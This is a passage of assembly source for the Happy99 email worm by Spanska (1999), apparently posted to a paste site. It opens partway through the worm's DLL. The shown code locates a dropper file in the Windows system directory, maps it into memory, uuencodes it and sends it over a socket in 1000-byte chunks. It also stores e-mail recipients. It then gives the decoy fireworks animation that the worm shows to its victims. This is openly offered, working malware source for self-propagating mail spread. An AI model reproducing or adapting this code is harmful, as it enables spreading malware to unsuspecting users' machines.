  2040. ;*******************************************************************************************
  2041.  
  2042. uucode_et_envoie:
  2043.  
  2044. ;------- se r�server 20 Ko de m�moire
  2045.  
  2046. push 20*1024
  2047. push 40h
  2048. call LocalAlloc
  2049. test eax, eax
  2050. jz fin_routine_uucodage
  2051. mov offset_mem_buffer, eax
  2052.  
  2053. ;------- r�cup�rer le path/nom du dropper
  2054.  
  2055. push 100
  2056. push offset_mem_buffer2_system_dir
  2057. call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS
  2058. test eax, eax
  2059. jz fin_routine_uucodage_avec_liberer_memoire
  2060. mov system_dir_size, eax
  2061.  
  2062. mov esi, offset dropper_name        ;concatenate "c:\windows\" and "drop.exe"
  2063. mov edi, offset_mem_buffer2_system_dir
  2064. add edi, system_dir_size
  2065. mov ecx, dropper_name_size
  2066. rep movsb
  2067.  
  2068. ;------- mapper le dropper en m�moire
  2069.  
  2070. push 0          ;handle of file with attributes to copy (0=Ludwig)
  2071. push 80h        ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
  2072. push 3          ;how to create (3=OPEN_EXISTING)
  2073. push 0          ;address of security descriptor (0=Ludwig)
  2074. push 0          ;share mode (0=Prevents the file from being shared)
  2075. push 080000000h     ;access (read-write) mode (080000000h=GENERIC_READ)
  2076. push offset_mem_buffer2_system_dir  ;address of name of the file
  2077. call CreateFileA
  2078. inc eax
  2079. jz fin_routine_uucodage_avec_liberer_memoire
  2080. dec eax
  2081. mov dropper_handle, eax
  2082.  
  2083. push offset sizeofmappedfile    ;address of high-order word for file size (si ca d�passe)
  2084. push dropper_handle     ;handle of file to get size of
  2085. call GetFileSize
  2086. inc eax
  2087. jz fin_routine_uucodage_avec_fermer_dropper
  2088. dec eax
  2089. mov sizeofmappedfile, eax
  2090.  
  2091. push 0          ;name of file-mapping object (0=sans nom)
  2092. push 0          ;low-order 32 bits of object size  
  2093. push 0          ;high-order 32 bits of object size  (0=meme taille que le fichier)
  2094. push 2          ;protection for mapping object (2=PAGE_READONLY)
  2095. push 0          ;optional security attributes (0=d�faut)
  2096. push dropper_handle ;handle of file to map
  2097. call CreateFileMappingA
  2098. test eax, eax
  2099. jz fin_routine_uucodage_avec_fermer_dropper
  2100. mov filemappinghandle, eax
  2101.  
  2102. push 0          ;number of bytes to map (0=en entier)
  2103. push 0          ;low-order 32 bits of file offset
  2104. push 0          ;high-order 32 bits of file offset (0=meme taille que le fichier?)
  2105. push 4          ;access mode (4=SECTION_MAP_READ)
  2106. push filemappinghandle  ;file-mapping object to map into address space  
  2107. call MapViewOfFile
  2108. test eax, eax
  2109. jz fin_routine_uucodageavec_fermer_mapping
  2110. mov startoffilemapping, eax
  2111.  
  2112. ;------ uucoder le dropper depuis son mapping (binaire) jusqu'� la zone m�moire r�serv�e
  2113.  
  2114. mov esi, offset debut
  2115. mov edi, offset_mem_buffer
  2116. mov ecx, size_debut
  2117. rep movsb               ;transf�rer "begin xxxx.exe"
  2118.  
  2119. xor edx, edx
  2120. mov eax, sizeofmappedfile
  2121. push eax
  2122. mov bx, 45
  2123. div bx
  2124. xor ecx, ecx
  2125. mov cx, ax
  2126. mov nb_45, ecx
  2127. mov reste_45, dl            ;calculer le nombre de lignes
  2128.  
  2129. mov esi, startoffilemapping
  2130. pop ebp
  2131. add ebp, esi
  2132. mov edx, nb_45
  2133.  
  2134. code_ligne_suivante:
  2135. mov al, "M"
  2136. stosb
  2137. mov ecx, 15
  2138.  
  2139. code_trois_octets:
  2140.     cmp esi, ebp
  2141.     jne tu_peux_la_lire_cette_putain_de_memoire3
  2142.     xor al, al
  2143.     jmp evite_plantage_because_peut_pas_lire_la_memoire3
  2144. tu_peux_la_lire_cette_putain_de_memoire3:
  2145. lodsb
  2146. evite_plantage_because_peut_pas_lire_la_memoire3:
  2147. mov ah, al
  2148. shr al, 2
  2149. and al, 00111111b
  2150. jnz pas_zero1
  2151. add al, 40h
  2152. pas_zero1:
  2153. add al, 20h
  2154. stosb
  2155.  
  2156. mov al, ah
  2157. shl al, 4
  2158. and al, 00110000b
  2159. mov bh, al
  2160.     cmp esi, ebp
  2161.     jne tu_peux_la_lire_cette_putain_de_memoire
  2162.     xor al, al
  2163.     jmp evite_plantage_because_peut_pas_lire_la_memoire
  2164. tu_peux_la_lire_cette_putain_de_memoire:
  2165. lodsb
  2166. evite_plantage_because_peut_pas_lire_la_memoire:
  2167. mov ah, al
  2168. shr al, 4
  2169. and al, 00001111b
  2170. or al, bh
  2171. and al, 00111111b
  2172. jnz pas_zero2
  2173. add al, 40h
  2174. pas_zero2:
  2175. add al, 20h
  2176. stosb
  2177.  
  2178. mov al, ah
  2179. shl al, 2
  2180. and al, 11111100b
  2181. mov bh, al
  2182.     cmp esi, ebp
  2183.     jne tu_peux_la_lire_cette_putain_de_memoire2
  2184.     xor al, al
  2185.     jmp evite_plantage_because_peut_pas_lire_la_memoire2
  2186. tu_peux_la_lire_cette_putain_de_memoire2:
  2187. lodsb
  2188. evite_plantage_because_peut_pas_lire_la_memoire2:
  2189. mov ah, al
  2190. shr al, 6
  2191. and al, 00000011b
  2192. or al, bh
  2193. and al, 00111111b
  2194. jnz pas_zero3
  2195. add al, 40h
  2196. pas_zero3:
  2197. add al, 20h
  2198. stosb
  2199.  
  2200. mov al, ah
  2201. and al, 00111111b
  2202. jnz pas_zero4
  2203. add al, 40h
  2204. pas_zero4:
  2205. add al, 20h
  2206. stosb
  2207.  
  2208. dec ecx
  2209. jnz code_trois_octets
  2210.  
  2211. mov ax, 0A0Dh
  2212. stosw
  2213.  
  2214. dec edx
  2215. jnz code_ligne_suivante
  2216.  
  2217. code_la_derniere_ligne:
  2218.  
  2219. mov al, reste_45
  2220. cmp al, 0
  2221. je fin_uu
  2222. add al, 20h
  2223. stosb
  2224.  
  2225. xor eax, eax
  2226. xor edx, edx
  2227. xor ecx, ecx
  2228. mov al, reste_45
  2229. mov bl, 3
  2230. div bl
  2231.  
  2232. mov cl, al
  2233. test ah, ah
  2234. jz pas_de_reste
  2235. inc cx
  2236. pas_de_reste:
  2237.  
  2238. mov edx, 1
  2239. mov reste_45, 0
  2240. jmp code_trois_octets
  2241.  
  2242. fin_uu:
  2243. mov esi, offset fin
  2244. mov ecx, size_fin
  2245. rep movsb               ;transf�rer "end"
  2246.  
  2247. mov ecx, edi
  2248. sub ecx, offset_mem_buffer
  2249. mov size_uu_file, ecx           ;se souvenir de la taille du fichier uucod�
  2250.  
  2251. ;-------- envoyer des paquets de 1000 octets
  2252.  
  2253. xor edx, edx
  2254. xor ecx, ecx
  2255. mov eax, size_uu_file
  2256. mov bx, 1000
  2257. div bx
  2258. mov cx, ax
  2259. mov nb_1000, ecx
  2260. mov reste_1000, edx
  2261.  
  2262. mov esi, offset_mem_buffer
  2263. inc nb_1000
  2264.  
  2265. envoie_la_sauce:
  2266.  
  2267. mov ebp, 1000
  2268. cmp nb_1000, 1
  2269. jne morceau_entier
  2270. mov ebp, reste_1000
  2271. morceau_entier:
  2272. mov eax, ebp
  2273. mov ebx, esi
  2274. call envoie
  2275.  
  2276. cmp eax, -1
  2277. je fin_routine_uucodage_avec_unmap
  2278.  
  2279. envoi_ok2:
  2280. add esi, ebp
  2281. dec nb_1000
  2282. jnz envoie_la_sauce
  2283.  
  2284. ;------- tout fermer: fichiers (dropper, dropper uucod�) et m�moire (mapping*2, buffer)
  2285.  
  2286. fin_routine_uucodage_avec_unmap:
  2287. push startoffilemapping
  2288. call UnmapViewOfFile
  2289.  
  2290. fin_routine_uucodageavec_fermer_mapping:
  2291. push filemappinghandle
  2292. call CloseHandle
  2293.  
  2294. fin_routine_uucodage_avec_fermer_dropper:
  2295. push dropper_handle
  2296. call CloseHandle
  2297.  
  2298. fin_routine_uucodage_avec_liberer_memoire:
  2299. push offset_mem_buffer
  2300. call LocalFree
  2301.  
  2302. fin_routine_uucodage:
  2303. ret
  2304.  
  2305. ;*******************************************************************************************
  2306. ;***                        RECUPERE LES MESSAGES ENTRANTS                               ***
  2307. ;*******************************************************************************************
  2308.  
  2309. recoit:
  2310. push LARGE 0
  2311. push LARGE 60
  2312. push offset_mem_buffer2_rcv
  2313. push LARGE no_socket
  2314. call recv
  2315. cmp eax, -1
  2316. je recoit
  2317.  
  2318. mov ebx, offset_mem_buffer2_rcv
  2319. mov eax, [ebx]
  2320. ret
  2321.  
  2322. ;*******************************************************************************************
  2323. ;***                          STOCKER RECIPIENT EN MEMOIRE                               ***
  2324. ;*******************************************************************************************
  2325.  
  2326. stocke_le_rcpt:
  2327. pushad
  2328. mov esi, offset_mem_buffer2_recipient
  2329. mov edx, esi
  2330. add edx, 2900               ;ecx=limite haute memoire
  2331.  
  2332. cherche_00_suivant:
  2333. lodsb
  2334. cmp esi, edx
  2335. jae stop_stocke_le_rcpt
  2336. cmp al, 0
  2337. jne cherche_00_suivant
  2338.  
  2339. stocke_a_cet_offset:
  2340. dec esi
  2341. mov edi, esi
  2342. mov esi, ebx
  2343. rep movsb
  2344. mov eax, 0
  2345. stosd
  2346.  
  2347. stop_stocke_le_rcpt:
  2348. popad
  2349. ret
  2350.  
  2351. end dll
  2352.  
  2353. ;--------------------------- (c) Spanska 1999 ---------------------------------
  2354. ������������������������������������������������������[Happy99_ska_dll.asm]���
  2355. ����������������������������������������������������[Happy99_fireworks.asm]���
  2356. ;Graphic effect of Happy99, by Spanska
  2357. ;A cute fireworks animation, done using a particle algorithm stolen from
  2358. ;a beautiful 256 bytes demo by Picard/Hydrogen
  2359. ;
  2360. ;if you want to understand comments, learn french or use Altavista ;)
  2361. ;at the very end, you can post a message for me in alt.comp.virus
  2362.  
  2363. ;--------------------------- (c) Spanska 1999 ---------------------------------
  2364.  
  2365. .386
  2366. .model flat
  2367.  
  2368. extrn       GetModuleHandleA    :PROC
  2369. extrn       RegisterClassA      :PROC
  2370. extrn       CreateWindowExA     :PROC
  2371. extrn       ShowWindow      :PROC
  2372. extrn       UpdateWindow        :PROC
  2373. extrn       PeekMessageA        :PROC
  2374. extrn       SetPixelV       :PROC
  2375. extrn       TranslateMessage    :PROC
  2376. extrn       DispatchMessageA    :PROC
  2377. extrn       DefWindowProcA      :PROC
  2378. extrn       LocalAlloc      :PROC
  2379. extrn       LocalFree       :PROC
  2380. extrn       GetDC           :PROC
  2381. extrn       ReleaseDC       :PROC
  2382. extrn       PostQuitMessage     :PROC
  2383. extrn       ExitProcess     :PROC
  2384.  
  2385. nombre_explosion_maxi equ 16
  2386.  
  2387. .data
  2388.  
  2389. wndclass:
  2390.         clsStyle          dd 4003h  ; class style
  2391.         clsLpfnWndProc    dd ?
  2392.         clsCbClsExtra     dd 0
  2393.         clsCbWndExtra     dd 0
  2394.         clsHInstance      dd ?      ; instance handle
  2395.         clsHIcon          dd 0      ; class icon handle
  2396.         clsHCursor        dd 0      ; class cursor handle
  2397.         clsHbrBackground  dd 7      ; class background brush
  2398.         clsLpszMenuName   dd 0      ; menu name
  2399.         clsLpszClassName  dd ?      ; far ptr to class name
  2400.  
  2401. msg:
  2402.     msHWND          dd ?
  2403.     msMESSAGE       dd ?
  2404.     msWPARAM        dd ?
  2405.     msLPARAM        dd ?
  2406.     msTIME          dd ?
  2407.     msPT            dd ?
  2408.     protege dd ?
  2409.    
  2410. nb_explosions   dd 0
  2411. compteur    dd 0
  2412. color       dd ?
  2413. yy      dd ?
  2414. xx      dd ?
  2415. seed        dd 0FFAABB11h
  2416. theDC       dd ?
  2417. writebuffer dd ?
  2418. nom_fenetre     db "Happy 2000 to 29A readers !!",0
  2419. handle      dd ?
  2420. handle_wd   dd ?
  2421. adresse_retour dd ?
  2422.  
  2423. .code
  2424.  
  2425. HOST:
  2426.  
  2427. ;----- se r�server de la m�moire
  2428.  
  2429. push (32*257)*nombre_explosion_maxi     ;number of bytes to allocate
  2430. push LARGE 40h                  ;allocation attributes (40h=LMEM_ZEROINIT)
  2431. call LocalAlloc
  2432. mov writebuffer, eax
  2433.  
  2434.  
  2435. ;----- enregistrer la wndclass
  2436.  
  2437. push 0
  2438. call GetModuleHandleA
  2439. mov handle, eax
  2440.  
  2441. mov clsHInstance, eax
  2442. mov eax, offset wndproc
  2443. mov clsLpfnWndProc, eax
  2444. mov clsLpszClassName, offset nom_fenetre
  2445.  
  2446. push offset wndclass
  2447. call RegisterClassA
  2448.  
  2449. ;----- creer la fenetre
  2450.  
  2451. push 0
  2452. push handle
  2453. push 0
  2454. push 0
  2455. push 512            ;hauteur
  2456. push 256            ;largeur
  2457. push 100            ;y
  2458. push 100            ;x
  2459. push 00080000h+00040000h
  2460. push offset nom_fenetre
  2461. push offset nom_fenetre
  2462. push 0              ;extra style
  2463. call CreateWindowExA
  2464. mov handle_wd, eax
  2465.  
  2466. push 1
  2467. push handle_wd
  2468. call ShowWindow
  2469.  
  2470. push handle_wd
  2471. call UpdateWindow
  2472.  
  2473. ;----- le message loop
  2474.  
  2475. msg_loop:
  2476. push 1
  2477. push 0
  2478. push 0
  2479. push 0
  2480. push offset msg
  2481. call PeekMessageA
  2482. cmp eax, 0
  2483. jnz process_messages
  2484.  
  2485. ;-------- dessiner tous les points
  2486.  
  2487. mov eax, compteur
  2488. and eax, nombre_explosion_maxi-1
  2489. mov compteur, eax
  2490. cmp eax, 0
  2491. jz ini_explosion
  2492.  
  2493. la_suite:
  2494. push handle_wd
  2495. call GetDC
  2496. mov theDC, eax
  2497.  
  2498. mov ecx, 16*256             ;16 explosions of 256 pixels each
  2499. mov esi, writebuffer
  2500.  
  2501. zozo2:
  2502.  
  2503. mov eax, dword ptr [esi+8]          ;get Y coordinate
  2504. mov dword ptr [esi+20], eax         ;save it in a unused zone
  2505. mov eax, dword ptr [esi+12]         ;get X coordinate
  2506. mov dword ptr [esi+24], eax         ;save it in unused zone
  2507.  
  2508. add dword ptr [esi], 001000h            ;gravity: add 0.1 pixel to Y speed
  2509. lodsd                       ;load Y speed
  2510. add dword ptr [esi+4], eax          ;add Y speed to Y coordinate
  2511. lodsd                       ;load X speed
  2512. add dword ptr [esi+4], eax          ;add X speed to X coordinate
  2513.  
  2514. lodsd                       ;load Y coordinate
  2515. sar eax, 16                 ;remove decimal part
  2516. mov edx, eax                    ;save in edx
  2517. lodsd                       ;load X coordinate
  2518. sar eax, 16                 ;remove decimal part
  2519. mov ebx, eax                    ;save in ebx
  2520.  
  2521. lodsd                       ;load color
  2522. cmp eax, 0                  ;color=0?
  2523. jne point_pas_noir              ;no: decrease color intensity
  2524. add esi, 8                  ;yes: go to next pixel
  2525. jmp fin_loop
  2526.  
  2527. point_pas_noir:
  2528. sub byte ptr [esi-4], 1             ;decrease Red component of color
  2529. jnc R_pas_a_zero                ;if positive, go to next component
  2530. mov byte ptr [esi-4], 0             ;if negative, put 0
  2531. R_pas_a_zero:
  2532. sub byte ptr [esi-3], 1             ;decrease Green component of color
  2533. jnc G_pas_a_zero                ;if positive, go to next component
  2534. mov byte ptr [esi-3], 0             ;if negative, put 0
  2535. G_pas_a_zero:
  2536. sub byte ptr [esi-2], 1             ;decrease Blue component of color
  2537. jnc B_pas_a_zero                ;if positive, go to next component
  2538. mov byte ptr [esi-2], 0             ;if negative, put 0
  2539. B_pas_a_zero:
  2540.  
  2541. push esi        ;be careful, this API fucks esi, ecx
  2542. push ecx
  2543.  
  2544. push eax        ;colorref
  2545. push edx        ;y
  2546. push ebx        ;x
  2547. push theDC      ;the Device Context
  2548. call SetPixelV      ;quand la fenetre est repeinte, on met le pixel � sa coordonn�e
  2549.  
  2550. pop ecx
  2551. pop esi
  2552.  
  2553. lodsd           ;get the precedent Y coord from unused zone where we saved it
  2554. sar eax, 16     ;remove decimal part
  2555. mov edx, eax        ;put in edx
  2556. lodsd           ;get the precedent X coord from unused zone where we saved it
  2557. sar eax, 16     ;remove decimal part
  2558.  
  2559. push esi        ;be careful, this API fucks esi, ecx
  2560. push ecx
  2561.  
  2562. push 0          ;black
  2563. push edx
  2564. push eax
  2565. push theDC
  2566. call SetPixelV      ;remove pixel from precedent position
  2567.  
  2568. pop ecx
  2569. pop esi
  2570.  
  2571. fin_loop:
  2572. add esi, 4      ;esi points to next pixel structure
  2573.  
  2574. dec ecx
  2575. jnz zozo2
  2576.  
  2577. push theDC
  2578. push handle_wd
  2579. call ReleaseDC
  2580.  
  2581. inc compteur
  2582.  
  2583. jmp msg_loop
  2584.  
  2585. ;----- pour voir si la fenetre est ferm�e
  2586.  
  2587. process_messages:
  2588.  
  2589. cmp msMESSAGE, 12h  ;WM_QUIT equ 0012h
  2590. je end_loop
  2591.  
  2592. push offset msg
  2593. call TranslateMessage
  2594. push offset msg
  2595. call DispatchMessageA
  2596. jmp msg_loop
  2597.  
  2598. end_loop:
  2599.  
  2600. push writebuffer
  2601. call LocalFree
  2602.  
  2603. push    msWPARAM
  2604. call    ExitProcess             ;this terminates the program
  2605.  
  2606. ;----- proc�dure de fen�tre vide pour acc�l�rer
  2607.  
  2608. wndproc:
  2609.  
  2610. pop eax
  2611. mov adresse_retour, eax
  2612. cmp dword ptr [esp+4], 2
  2613. jne suite
  2614.  
  2615. push 0
  2616. call PostQuitMessage
  2617. xor eax, eax
  2618. jmp suite2
  2619.  
  2620. suite:
  2621. call DefWindowProcA
  2622.  
  2623. suite2:
  2624. mov ecx, adresse_retour
  2625. push ecx
  2626.  
  2627. ret
  2628.  
  2629. ;----- proc�dure pour initialiser une explosion
  2630.  
  2631. ini_explosion:
  2632.  
  2633. mov eax, nb_explosions
  2634. and eax, nombre_explosion_maxi-1
  2635. mov nb_explosions, eax
  2636. shl eax, 13             ;chaque explosion se garde un buffer de 8192
  2637. mov edi, writebuffer            ;(256 pixels, 32 bits par pixel)
  2638. add edi, eax
  2639. mov ecx, 256                ;on va calculer les 256 points
  2640.  
  2641. call random
  2642. shr eax, 7              ;X: 0FFFFFFFFh/128 = 1FFFFFF
  2643. mov xx, eax             ;virgule fixe: 1FF,FFFF = 512
  2644. call random
  2645. shr eax, 8              ;Y: 0FFFFFFFFh/256 = FFFFFF
  2646. mov yy, eax             ;virgule fixe: FF,FFFF = 256
  2647.  
  2648. call random
  2649. shr eax, 8              ;COULEUR: codee sur 3 octets
  2650. or eax, 0AF0F0Fh            ;masque pour augmenter la luminosite
  2651. mov color, eax
  2652.  
  2653. zozo:
  2654. call random
  2655. shr eax, 15             ;VITESSE: 0FFFFFFFFh/32768 = 1FFFF
  2656. mov [edi], eax              ;virgule fixe: 1,FFFF = entre 1 et 2
  2657. mov [edi+4], ecx            ;ANGLE: en radians, ecx presque random
  2658.  
  2659. fild dword ptr [edi+4]          ;charge l'angle dans le copro
  2660. fsin                    ;sinus = composante en X
  2661. fimul dword ptr [edi]           ;multiplie par la vitesse: resultat sur le stack
  2662. fild dword ptr [edi+4]          ;charge l'angle par dessus
  2663. fcos                    ;cosinus = composante en Y
  2664. fimul dword ptr [edi]           ;multiplie par la vitesse: resultat sur le stack
  2665. fistp dword ptr [edi]           ;decharge la composante en Y
  2666. fistp dword ptr [edi+4]         ;decharge la composante en X
  2667.  
  2668. add edi, 8
  2669.                     ;structure d'un pixel:
  2670. mov eax, yy             ;0  dd composante vitesse en Y
  2671. stosd                   ;4  dd composante vitesse en X
  2672. mov eax, xx             ;8  dd coordonnee Y
  2673. stosd                   ;12 dd coordonnee X
  2674.                     ;16 dd couleur
  2675. mov eax, color              ;20 dd rien, used to save precedent Y coord
  2676. stosd                   ;24 dd rien, used to save precedent X coord
  2677.                     ;28 dd rien
  2678. add edi, 12            
  2679. loop zozo
  2680.  
  2681. inc nb_explosions
  2682. jmp la_suite
  2683.  
  2684. ;----- random
  2685.  
  2686. random:
  2687.  
  2688. mov eax, 214013h
  2689. imul seed
  2690. sub edx, edx                ; Prevent divide overflow by caller
  2691. add eax, 2531011h
  2692. mov seed, eax
  2693. ret
  2694.  
  2695.         end     HOST
  2696.        
  2697. ;--------------------------- (c) Spanska 1999 ---------------------------------
  2698. ����������������������������������������������������[Happy99_fireworks.asm]���
Add Comment
Please, Sign In to add comment